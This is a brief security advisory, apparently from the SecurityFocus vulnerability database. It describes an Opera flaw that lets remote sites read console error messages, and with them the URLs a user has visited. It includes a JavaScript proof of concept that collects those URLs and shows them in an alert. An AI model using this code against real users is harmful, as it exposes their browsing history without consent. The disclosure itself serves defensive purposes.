source: https://www.securityfocus.com/bid/6759/info

It has been reported that Opera fails to ensure that a remote site has proper authorization before executing some methods used to access error messages stored in the Opera console.

This issue is further exacerbated by the fact that error messages also contain the URL of the site that caused the issue. This can be exploited by a malicious attacker to obtain a listing of the victim user's Web browsing habits for, potentially, malicious purposes.

var sMsg,
sFinal="",
iLen=opera.errorIndex();

for (var iErr=0;iErr<iLen;iErr++) {
sMsg=opera.errorMessage(iErr);
if (sMsg && /(https?:\/\/\S+)/i.test(sMsg)) sFinal+=RegExp.$1+"\n";
}
alert(sFinal);